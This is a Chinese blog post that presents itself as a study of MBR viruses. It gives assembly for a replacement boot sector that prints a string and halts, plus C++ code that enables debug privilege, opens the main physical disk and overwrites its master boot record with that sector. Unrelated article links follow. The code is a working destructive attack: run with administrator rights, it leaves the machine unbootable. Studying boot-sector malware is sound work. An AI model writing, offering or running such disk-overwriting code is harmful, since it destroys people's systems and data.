一个改写MBR的例子
想要对MBR类的病毒进行一下研究与学习,在此期间,看了很多资料,其中帮助最大的就是金龟子学姐和willj学长发表的文章。一个从源码与实现角度来讲了一下,另外一个从反病毒角度来分析。
- 准备好将要写入的MBR
- 提升程序权限 调用CreateFile函数去打开物理驱动器的时候,必须具备调试权限,否则就会打开失败,打开失败我们就不能对MBR进行读取了
- 打开"\\\\.\\PHYSICALDRIVE0"文件 \\\\.\\PHYSICALDRIVE0"文件表示本机的物理驱动器0(一般是主硬盘),也就是我们的MBR。
- 写入MBR
assume cs:codecode segmentstart:mov ax,12h ;使用12号功能,对显示器进行设置int 10h;显示器的设置mov bp, 7C18H ;字符串的起始偏移,为啥是7c18呢?代码得长度干好18H,哈哈mov cx, 13h ;字符串长度mov ax,1301h ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01Hmov bx,0Ch ;BH = 00H BL = 0CHmov dx,0h;起始的行列int 10hjmp $ ;无线循环,防止代码进入数据区code endsend start
- 对显示器进行设置
mov ax,12h ;使用12号功能,对显示器进行设置int 10h ;调用int 10h中断
- 指定显示字符串
mov bp, 7C18H ;字符串的起始偏移,为啥是7c18呢?代码得长度刚好18H,哈哈mov cx, 13h ;字符串长度
- 对字符串显示进行设置
mov ax,1301h ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01Hmov bx,0Ch ;BH = 00H BL = 0CHmov dx,0h ;起始的行列
BH=页码
BL=属性,文字模式或颜色 (若AL=00H或 01H)
CX=显示字符串长度
(DH、DL)=坐标(行、列)
ES:BP=显示字符串的地址 AL=显示输出方式
0—— 字符串中只含显示字符,其显示属性在BL中。显示后,光标位置不变
1——字符串中只含显示字符,其显示属性在BL中。显示后,光标位置改变
2 ——字符串中含显示字符和显示属性。显示后,光标位置不变
3——字符串中含显示字符和显示属性。显示后,光标位置改变
出口参数:无
- 用到的工具

- 用到的指令
C:\masm>masm C:\Users\xiaopao\Desktop\4.asm

#include "stdafx.h"#include <Windows.h>#include <TlHelp32.h>char temp[512]={0xB8,0x012,0x000,0x0CD,0x010,0x0BD,0x018,0x07C,0x0B9,0x00F,0x000,0x0B8,0x001,0x013,0x0BB,0x00C,0x000,0x0BA,0x000,0x000,0x0CD,0x010,0x0E8,0x0FE,0x06D,0x061,0x06B,0x065,0x020,0x062,0x079,0x020,0x078,0x069,0x061,0x06F,0x070,0x061,0x06F,0x000};//自己写一个函数来提权。void GetPrivileges(){//定义一个PLUIDHANDLE hProcess;HANDLE hTokenHandle;TOKEN_PRIVILEGES tp;//获取当前进程的句柄hProcess = GetCurrentProcess();//OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);//函数查看系统权限的特权值,返回信息到一个LUID结构体里。tp.PrivilegeCount =1;LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);CloseHandle(hTokenHandle);CloseHandle(hProcess);}//下面的函数来读取"\\\\.\\PHYSICALDRIVE0"void ReadPHYSICALDRIVE0(){HANDLE hFile;DWORD dwReadSize;// char lpBuffer[512];//使用createFile打开这个文件char str_Name[] = "\\\\.\\PHYSICALDRIVE0";hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);if (hFile == INVALID_HANDLE_VALUE){MessageBox(0, "wrong", "wrong", 0);}BYTE pMBR[512] ={0}; ;MBR为512个字节memcpy(pMBR,temp,sizeof(temp)-1);pMBR[510] =0x55; ;最后的标记位pMBR[511] = 0xAA;//用readfile来读取文件WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);}int _tmain(int argc, _TCHAR* argv[]){GetPrivileges();ReadPHYSICALDRIVE0();return 0;

一个改写MBR的例子的更多相关文章
- 又一个改写MBR的病毒(TDSS TDL4)
此毒为TDSS TDL4 的又一个变种.RIS2011 目前尚未收录此毒.此毒的主要行为是改写MBR,并在硬盘尾部的190个扇区内写入病毒代码.病毒的上述动作可穿透还原类软件对系统的保护.我在Acro ...
- 关于Java中的继承和组合的一个错误使用的例子
[TOC] 关于Java中的继承和组合的一个错误使用的例子 相信绝大多数人都比较熟悉Java中的「继承」和「组合」这两个东西,本篇文章就主要就这两个话题谈论一下.如果我某些地方写的不对,或者比较幼稚, ...
- 一个简单的CORBA例子
因为对CORBA分析的需要,这里写一个简单的CORBA例子.从JDK1.2开始,JDK中集成了ORB的实现,本例子使用了JDK1.7,对于JDK1.2+应该都没有问题.这个例子实现一个简单的加减乘除的 ...
- java 多线程——一个定时调度的例子
java 多线程 目录: Java 多线程——基础知识 Java 多线程 —— synchronized关键字 java 多线程——一个定时调度的例子 java 多线程——quartz 定时调度的例子 ...
- 轻松创建nodejs服务器(1):一个简单nodejs服务器例子
这篇文章主要介绍了一个简单nodejs服务器例子,本文实现了一个简单的hello world例子,并展示如何运行这个服务器,需要的朋友可以参考下 我们先来实现一个简单的例子,hello world ...
- 使用Multiplayer Networking做一个简单的多人游戏例子-3/3(Unity3D开发之二十七)
使用Multiplayer Networking做一个简单的多人游戏例子-1/3 使用Multiplayer Networking做一个简单的多人游戏例子-2/3 使用Multiplayer Netw ...
- 使用Multiplayer Networking做一个简单的多人游戏例子-2/3(Unity3D开发之二十六)
猴子原创,欢迎转载.转载请注明: 转载自Cocos2Der-CSDN,谢谢! 原文地址: http://blog.csdn.net/cocos2der/article/details/51007512 ...
- 使用Multiplayer Networking做一个简单的多人游戏例子-1/3(Unity3D开发之二十五)
猴子原创,欢迎转载.转载请注明: 转载自Cocos2Der-CSDN,谢谢! 原文地址: http://blog.csdn.net/cocos2der/article/details/51006463 ...
- 一个简单的cmake例子
一个简单的cmake例子CMakeLists.txt,生成动态库文件,可以指定发布目录. 尚不支持: 1.交叉编译环境配置 2.添加依赖库 #在当前目录新建一个build目录,然后cd build ...
随机推荐
- java内部类作用
推荐一. 定义 放在一个类的内部的类我们就叫内部类. 二. 作用 1.内部类可以很好的实现隐藏 一般的非内部类,是不允许有 private 与protected权限的,但内部类可以 2.内部类拥有外围 ...
- Find The Multiple--POJ1426
Description Given a positive integer n, write a program to find out a nonzero multiple m of n whose ...
- IE强制标准模式---标准模式与兼容模式设置
<meta http-equiv="X-UA-Compatible" content="edge" /> 这个是最有效的方法. 文档模式(docum ...
- 类似CFS程式发布注意事项
1.CFS 此AP 程式的验证方式为Forms 验证.需要在IIS 中做如下设置(Forms 身份验证,配套的Web.config 中要有对应节点代码,后台代码中要有获取方式) 2.Forms 身份验 ...
- [django]celery_redis探索
celery+redis能做什么及简单原理 能干嘛: 看这里http://yshblog.com/blog/163 https://segmentfault.com/a/119000001565487 ...
- openstack 部署笔记--基本环境准备
基础信息 配置:centos7.3 8G内存 4核处理器 单网卡 控制节点IP:192.168.15.243 计算节点IP:192.168.15.238 openstack 版本:ocata 配置信 ...
- windows server r2 之如何设置共享文件夹访问不需要输入用户名和密码
第一步: 打开guest账号.单击桌面“开始”按钮,找到“控制面板”并打开,选择“用户帐户”并单击就会弹出一个窗口,继续单击下方的“管理其他帐户”,然后选择“Guest”,点击“启用”. 第二步: 在 ...
- 7.10 Models -- Handling Metadata(处理元数据)
1. 随着从store中返回的records,你可能需要处理一些元数据.Metadata是伴随着特定model或者type的一种数据,而不是record. 2. 分页是使用元数据的一个常见的例子.想象 ...
- CE寻找游戏基址
什么是游戏基址? 游戏基址是保持恒定的两部分内存地址的一部分并提供一个基准点,从这里可以计算一个字节数据的位置.基址伴随着一个加到基上的偏移值来确定信息准确的位置(绝对地址). 全局基址 一级基址 二 ...
- css3 3d翻转效果
<div class="demo"> <span class="front"> aaaaaaaaaaa ...